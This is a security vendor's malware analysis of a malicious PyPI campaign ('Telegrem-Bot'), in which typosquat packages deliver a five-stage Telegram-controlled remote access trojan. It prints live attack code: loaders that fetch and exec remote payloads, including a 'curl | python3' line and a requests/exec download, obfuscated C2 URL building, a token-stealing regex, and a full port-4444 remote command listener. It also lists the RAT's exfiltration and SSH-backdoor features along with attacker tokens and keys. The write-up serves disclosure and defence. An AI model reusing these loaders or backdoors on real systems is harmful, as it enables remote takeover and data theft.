The Safety research team has discovered a new software supply chain attack targeting the PyPI ecosystem. We are calling this campaign “Telegrem-Bot” after the first Python package we examined.
This campaign includes seven malicious Python packages:
telegrem - author: Wowiwjwj
telegreph - author: Hejejdj
aiogrem - author: Hejejdj
rendom - author: Ejjehwhe
pyrogrem - author: Dsdwksjskskd
pyrogrqm - author:unknown
pyrogrom - author: Jshwheheh
Executive Summary
This set of Python packages are part of a sophisticated 5-stage supply chain attack targeting Python developers. This campaign deploys a fully-featured Remote Access Trojan (RAT) controlled via Telegram, providing complete remote administration capabilities including file exfiltration, command execution, SSH backdoor installation, token stealing, and mobile device data theft.
The Hunt Begins!
We found the original package "telegrem" as part of our work in identifying the Scopper Telegram remote access trojan (RAT). Scopper is a library that delivers Telegram based RAT functionality. Scopper is not a standalone RAT, but instead is meant to be used in other malicious packages. The "telegrem" package is the first we identified that was using the Scopper library.

This malicious package pretends to be an Islamic prayer times bot, which is how it tricks users into adding into their applications that interface with Telegram. The attack uses multiple layers of obfuscation, legitimate-looking decoy functionality (Islamic prayer bot), and a complex multi-stage delivery mechanism to evade detection and analysis.
STAGE 1: Telegrem package
There was
When our team started analyzing the payload for the telegrem-bot we knew immediately where its origins were. Two weeks ago we released our research on a new Python based RAT named "Scopper". You can read that blog here.
The Scopper package wasn't a stand alone RAT like you would traditionally see. Instead, the package authors meant for it to be imported, or used in other malicious packages and campaigns. So, we were on the lookout for other packages to install and import the Scopper pacakge. This is why we worked with the security team at PyPI to remove this package.
When we analyzed the code in the Telegrem pacakge, we new immediately, this was based on Scopper. Scopper was 142 lines of code, and this package was only 170.
Take a look at the code yourself and see what you think:

The telegrem author basically just added their own Telegram bot token and then used the existing Scopper functionality to run a command to download the second stage payload from https://pastebin[.]com/raw/xAT1vudj.
It's not pretty, but it works.
Now get ready for a crazy ride through the rest of this attack chain...
STAGE 2: Islamic Prayer Bot (payload.py)
Purpose
First-stage loader disguised as a functional Islamic prayer times and Quran reading Telegram bot. Every stage in this attack chain exhibits comments written in Arabic. Basically, its only job is to download the next stage payload.
Malicious Behavior
Remote Code Execution (Lines 299-305):
try:
response = love.get(d3mo) # Downloads Stage 3
if response.status_code == 200:
code_to_run = response.text
threading.Thread(target=fast_set, args=(code_to_run,)).start()
except Exception as e:
bot.send_message(7889168418, f"حدث خطأ: {e}")
Execution Engine (Lines 293-298):
import code as fast_se
def fast_set(love_you):
try:
interpreter = fast_se.InteractiveInterpreter()
interpreter.runcode(love_you)
except Exception as e:
bot.send_message(7889168418, f"حدث خطأ: {e}")
C2 URL Obfuscation
Token-Based Character Extraction:
token = "8107850370:AAE1Mm-MrvA1ku4E6uZd-X_pBKrguPiYRhA"
users = token[44] + token[27] # 'h6'
time = token[15] + token[7] # 'M3'
mainn = token[43] # 'R'
send = token[0] + 'JJ' # '8JJ'
botze = time + mainn + users + send # 'M3Rh68JJ'
Ad3ya Class URL Fragments:The Ad3ya class contains 16 methods that return tuples with (prayer_text, url_fragment):
def fm_name(self):
return (
'h' + 't' + 't' + 'p' + 's:' + '/' + '/' +
'p' + 'a' + 's' + 't' + 'e' + 'bin.' + 'com/' +
'raw/' + 'M3Rh68JJ'
)
Reconstructed C2 URL: https://pastebin[.]com/raw/M3Rh68JJ
Decoy Functionality
- Prayer times for Iraqi cities via
api.aladhan.com - Quran page viewer (604 pages) from
quran.ksu.edu.sa - Digital tasbih (prayer bead) counter
- Random Islamic prayers (Ad'iya)
IOCs
- Telegram Bot:
8107850370:AAE1Mm-MrvA1ku4E6uZd-X_pBKrguPiYRhA - Attacker Chat ID:
7889168418 - C2 URL:
https://pastebin[.]com/raw/M3Rh68JJ
STAGE 3: Stage Loader with Status Reporting
Purpose
Downloads and executes Stage 4 while reporting status to attacker via Telegram.
Malicious Code
Download & Execute Command (Line 12):
url = "<https://i7>" + "trak-" + "id3i.onrender.com"
command = f"python -c \\\\"import requests; exec(requests.get('{url}').text)\\\\" || python3 -c \\\\"import requests; exec(requests.get('{url}').text)\\\\" > /dev/null 2>&1 &"
Status Reporting (Lines 28-51):
def execute_command_and_report():
try:
send_telegram_message("🚀 بدء تنفيذ الأمر...") # "Starting execution..."
result = subprocess.run(command, shell=True, capture_output=True, text=True, timeout=10)
message = "✅ تم تنفيذ الأمر بنجاح\\\\n\\\\n" # "Command executed successfully"
send_telegram_message(message)
except subprocess.TimeoutExpired:
send_telegram_message("⏱ انتهى الوقت المحدد للأمر دون اكتماله") # "Timeout"
except Exception as e:
send_telegram_message(f"❌ حدث خطأ أثناء التنفيذ: {str(e)}") # "Error"
finally:
send_telegram_message("🛑 تم إيقاف التشغيل") # "Stopped"
Techniques
- Fallback execution: Tries
pythonthenpython3 - Stealth: Redirects all output to
/dev/null - Background: Runs with
&to avoid blocking - Monitoring: Reports all status changes to attacker
IOCs
- Telegram Bot:
7573350100:AAGhDJC1dsAKym8myLFARlCCzna-bfRciBo - Attacker Chat ID:
1896077619 - C2 URL:
https://i7trak-id3i.onrender[.]com
STAGE 4: Full-Featured Telegram RAT
Overview
This is the main payload - a sophisticated Remote Access Trojan with 5 distinct operating modes providing complete system control via Telegram bot commands. It's 973 lines of code, and it doesn't try to hide what its doing at this point. We suspect that the authors thought, that if the attack chain got this far, they didn't need to hide anymore.
Infrastructure
- Telegram Bot Token:
7104475220:AAEqHSMFzR542VyuCZqw9HBx-DTCnTe8ImI - Admin/Attacker ID:
1896077619 - Auto-Install Dependencies:
telebot,chardet,requests,pexpect
Operating Modes
MODE 1 (وضع 1): File Browser & Command Execution
Purpose: Interactive shell access and file management
Capabilities:
- Persistent interactive terminal using
pexpect - Full bash command execution
- Directory navigation
- File/folder listing
- Individual file exfiltration
- Bulk file exfiltration (ZIP all files)
Commands:
/start - Initialize mode
cd <directory> - Change directory
ls / dir / هات - List files in current directory
هات <filename> - Send specific file to attacker
هات_كلو - ZIP and send all files from current directory
<any command> - Execute as bash command
Implementation Details:
- Uses
pexpect.spawnu()orpexpect.spawn()for terminal (lines 143-159) - Maintains persistent shell session across commands
- Handles timeouts and EOF gracefully
- Supports both Linux and Windows paths
MODE 2 (وضع 2): SSH Backdoor & Server Exploitation
Purpose: Establish persistent SSH access and download additional exploits
Capabilities:
- SSH public key installation
- Firewall manipulation (open port 22)
- SSH server installation and configuration
- Network reconnaissance
- Download/execute Stage 5 payload
- File system reconnaissance
Commands:
/start - Show help menu
/s - List paths outside script directory
/ss - ZIP and send all files from current directory
/karga - Install SSH backdoor (add attacker's public key)
/openport22 - Open port 22 using ufw firewall
/openports - Display open ports using netstat
/fixserver - Install OpenSSH server, open port 22, start service
/opn - Download and execute Stage 5 from Pastebin
SSH Backdoor Public Key (Line 786):
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwoWLfDfPoUBbwQxPkOJiFEQTQDUCm4fXZWZIVnnEk5H8hVHqRipc12FxXqnhD6Hh47WVlzI25woUlXh+UQYXWZwGKsPQRVNkxFXkaNeQYwF7gvYGLeQowoSMpNPSu9xGp/Qx1dtqbdLCL3kwxuVLQilznYu4ylNsZ7+bnjA2OZwgIC+5Gag0+e9KcLG+aBJa4CqGTtC8RnaBpGmHPoWB62TNqLWcnOXZzCveEiNqPZRr9hAlKGVYCmbq67VCUPrBcWh8kPZl6WF5UGjLYJI5SIqhtpVEGKmREIx6k4RLMMJOaghrUMH2K4xy/zC4M1TfLuXIQe5uQygR1sZZe+iQboxDl4RnK/GC4rVMfbyNCVjaPh5HW8u4otC34HchLWzDwvboSimKbJuI6vzI2t4PxSsvKmW2swm+mfEK6HLjt2jbMr4kZAbg+4yAaWXRCvPqequZ1+Vg4q09zgx1yebc2zvcZqB14zTuG+sKxkIL9bIl0/Pp7y4d1y9s0PlgMFO3J4KphmjlKrUjrPA9JHCCGL7D2V69i3rUVWBeMgTHR+ota7R0i5I+O+41W9zeiR9IhYs/3pEnDgRMVOaVToBqDm1ILOx05J4lOKB/KD++BQfrzBkAXim93suVytFI4zXb5Dxchq+jrJ+1840EDH+x/mOzxZ/jW7sI/sV4Su0OH7w== u0_a268@localhost
Stage 5 Download (Line 937):
command = "nohup bash -c 'curl -fsSL <https://pastebin[.]com/raw/QASyStax> | python3 -' > /dev/null 2>&1 &"
subprocess.Popen(command, shell=True)
MODE 3 (وضع 3): File Scanner & Bulk Exfiltration
Purpose: Recursively scan and exfiltrate specific file types
Capabilities:
- Recursive filesystem scanning
- Targeted file type exfiltration (
.py,.json,.txt) - Automatic directory zipping
- Sent file tracking (avoids duplicates)
- Remote file deletion
Commands:
<any text> - Start recursive file scanning and exfiltration
حذف - Delete all previously exfiltrated files from victim system
MODE 4 (وضع 4): Telegram Bot Token Stealer
Purpose: Scan entire filesystem for Telegram bot tokens and steal them
Capabilities:
- Recursive scan from root directory
/ - Regex pattern matching for bot tokens:
\\\\b\\\\d{10}:[A-Za-z0-9_-]{35,}\\\\b - Token validation via Telegram API
- Bot information gathering (name, username, ID)
- Report token + file path to attacker
Behavior:
- Auto-activates when mode is selected (no command needed)
- Scans ENTIRE FILESYSTEM starting from root
- Only reports valid, working tokens
MODE 5 (وضع 5): Mobile Device Data Exfiltration
Purpose: Target Android/mobile devices for photo, location, and source code theft
Capabilities:
- Photo/image exfiltration from camera and gallery
- IP-based geolocation tracking
- Python/PHP source code theft
- Android-specific path targeting
Interactive Buttons:
سحب صور - Pull Photos (exfiltrate images)
إرسال الموقع - Send Location (geolocate via IP)
سحب ملفات - Pull Files (Python or PHP)
Photo Sources Targeted:
/storage/emulated/0/DCIM
/storage/emulated/0/Pictures
/sdcard/DCIM
/sdcard/Pictures
$HOME/storage/shared/DCIM
/storage/emulated/0/Download
Geolocation Services:
http://ip-api.com/jsonhttps://ipapi.co/json
Persistence & Resilience
State Persistence:
- Saves current mode to
current_mode.txt
Auto-Restart on Error (Lines 964-974):
while True:
try:
if BOT_RUNNING:
send_message(ADMIN_ID, 'تم تشغيل البوت✅')
bot.polling(none_stop=True, interval=0, timeout=10)
else:
break
except Exception as e:
error_message = f"حدث خطأ في البوت:\\\\n{str(e)}"
send_message(ADMIN_ID, error_message)
# Loop continues, bot restarts
Stop Protection:
- Special command "إيقاف_بوت" required to stop
Auto-Install Dependencies (Lines 7-19):
required_packages = ["telebot", "chardet", "requests", "pexpect"]
for package in required_packages:
try:
__import__(package)
except ImportError:
subprocess.check_call([sys.executable, "-m", "pip", "install", package])
STAGE 5: The Final Payload
Stage 4 mode 2 command /opn, will download a final payload via curl or wget from https://pastebin[.]com/raw/QASyStax.
This final payload is 54 lines of code and attempts to open a listener on port 4444:
import socket
import struct
import subprocess
import threading
def recv_all(sock, n):
data = b''
while len(data) < n:
packet = sock.recv(n - len(data))
if not packet:
return None
data += packet
return data
def handle_client(conn):
try:
while True:
raw_len = recv_all(conn, 4)
if not raw_len:
break
msg_len = struct.unpack('!I', raw_len)[0]
command = recv_all(conn, msg_len).decode()
if command.lower() == 'exit':
break
try:
output = subprocess.getoutput(command)
except Exception as e:
output = f"Command execution error: {str(e)}"
output = output.encode()
conn.sendall(struct.pack('!I', len(output)))
conn.sendall(output)
finally:
conn.close()
def main():
HOST = '0.0.0.0'
PORT = 4444
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
print(f"Server listening on {HOST}:{PORT}")
while True:
conn, addr = s.accept()
print(f"New connection from {addr[0]}:{addr[1]}")
client_thread = threading.Thread(target=handle_client, args=(conn,))
client_thread.start()
if __name__ == "__main__":
main()
Attack Chain Overview
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 1: Initial Infection via PyPI │
│ Package: telegrem (malicious) │
│ Disguise: Typosquatting legitimate "telegram" package │
└────────────────────────┬────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 2: payload.py - Islamic Prayer Bot (Disguise) │
│ C2: <https://pastebin[.]com/raw/M3Rh68JJ> │
│ Bot Token: 8107850370:AAE1Mm-MrvA1ku4E6uZd-X_pBKrguPiYRhA │
│ Attacker ID: 7889168418 │
│ Technique: String obfuscation via token character extraction │
└────────────────────────┬────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 3: Stage Loader with Status Reporting │
│ C2: <https://i7trak-id3i.onrender[.]com> │
│ Bot Token: 7573350100:AAGhDJC1dsAKym8myLFARlCCzna-bfRciBo │
│ Attacker ID: 1896077619 │
│ Technique: Background execution, error reporting │
└────────────────────────┬────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 4: Full Telegram RAT (Main Payload) │
│ Bot Token: 7104475220:AAEqHSMFzR542VyuCZqw9HBx-DTCnTe8ImI │
│ Attacker ID: 1896077619 │
│ Capabilities: 5 operating modes for complete system control │
└────────────────────────┬────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 5: Additional Exploit Payload (Optional) │
│ C2: <https://pastebin[.]com/raw/QASyStax> │
│ Trigger: /opn command in Mode 2 │
│ Purpose: Unknown (requires analysis) │
└─────────────────────────────────────────────────────────────────┘
Indicators of Compromise (IOCs)
Python Packages - All Versions
telegrem
telegreph
aiogrem
rendom
pyrogrem
pyrogrqm
pyrogrom
Domains and URLs
Stage 2 C2: https://pastebin[.]com/raw/M3Rh68JJ
Stage 3 C2: https://i7trak-id3i.onrender[.]com
Stage 4 C2: https://pastebin[.]com/raw/QASyStax
File hashes (sha256)
176b54794647152a85cffdff5f4a4b6d39b00c2e0e630b34dbd7fb3f85054d59 ./telegrem/__init__.py (stage 1)
88411259cbe8d54c0d2e5c6049baeacd185162b4f1688062a04edfbeea3a0ceb stage2-payload
7a83c277bf17f0ce4d5947472f7f3412b445c19f155a1167d6c828c86920bbb3 stage3-payload
7e64808f141931443e406dd632be352c3e23c9e957b288d429ce989dedb03448 stage4-payload
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 stage5-payload
Telegram Infrastructure - Bot tokens
Stage 2 - 8107850370:AAE1Mm-MrvA1ku4E6uZd-X_pBKrguPiYRhA,7889168418 - Islamic bot disguise
Stage 3 - 7573350100:AAGhDJC1dsAKym8myLFARlCCzna-bfRciBo,1896077619 - Stage loader
Stage 4 - 7104475220:AAEqHSMFzR542VyuCZqw9HBx-DTCnTe8ImI,1896077619 - Main RAT C2
SSH Backdoor
Attacker's SSH Public Key (2048-bit RSA):
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwoWLfDfPoUBbwQxPkOJiFEQTQDUCm4fXZWZIVnnEk5H8hVHqRipc12FxXqnhD6Hh47WVlzI25woUlXh+UQYXWZwGKsPQRVNkxFXkaNeQYwF7gvYGLeQowoSMpNPSu9xGp/Qx1dtqbdLCL3kwxuVLQilznYu4ylNsZ7+bnjA2OZwgIC+5Gag0+e9KcLG+aBJa4CqGTtC8RnaBpGmHPoWB62TNqLWcnOXZzCveEiNqPZRr9hAlKGVYCmbq67VCUPrBcWh8kPZl6WF5UGjLYJI5SIqhtpVEGKmREIx6k4RLMMJOaghrUMH2K4xy/zC4M1TfLuXIQe5uQygR1sZZe+iQboxDl4RnK/GC4rVMfbyNCVjaPh5HW8u4otC34HchLWzDwvboSimKbJuI6vzI2t4PxSsvKmW2swm+mfEK6HLjt2jbMr4kZAbg+4yAaWXRCvPqequZ1+Vg4q09zgx1yebc2zvcZqB14zTuG+sKxkIL9bIl0/Pp7y4d1y9s0PlgMFO3J4KphmjlKrUjrPA9JHCCGL7D2V69i3rUVWBeMgTHR+ota7R0i5I+O+41W9zeiR9IhYs/3pEnDgRMVOaVToBqDm1ILOx05J4lOKB/KD++BQfrzBkAXim93suVytFI4zXb5Dxchq+jrJ+1840EDH+x/mOzxZ/jW7sI/sV4Su0OH7w== u0_a268@localhost
How can Safety help protect you from these attacks?
Traditional vulnerability scanning happens too late - after potentially malicious code is already in your system. Which means that ASPM and EDR solutions don't protect you from this type of threat.
But all is not lost, as the Safety Firewall protects develoeprs and CI pipelines proactively. Every package installation request is analyzed before reaching public repositories. Malicious, vulnerable, and policy-violating packages are automatically blocked before they can enter your systems, preventing rather than just detecting threats.
You can sign up for a free Safety account and try the Safety Firewall HERE.
Feel free to reach out to me with any questions!
Let us know if this blog post helped you
I hope this blog post has helped you. Feel free to hit me up directly if you have any questions about this campaign.

Paul McCarty - Head of Research, Safety
You can find me on LinkedIn and BlueSky.





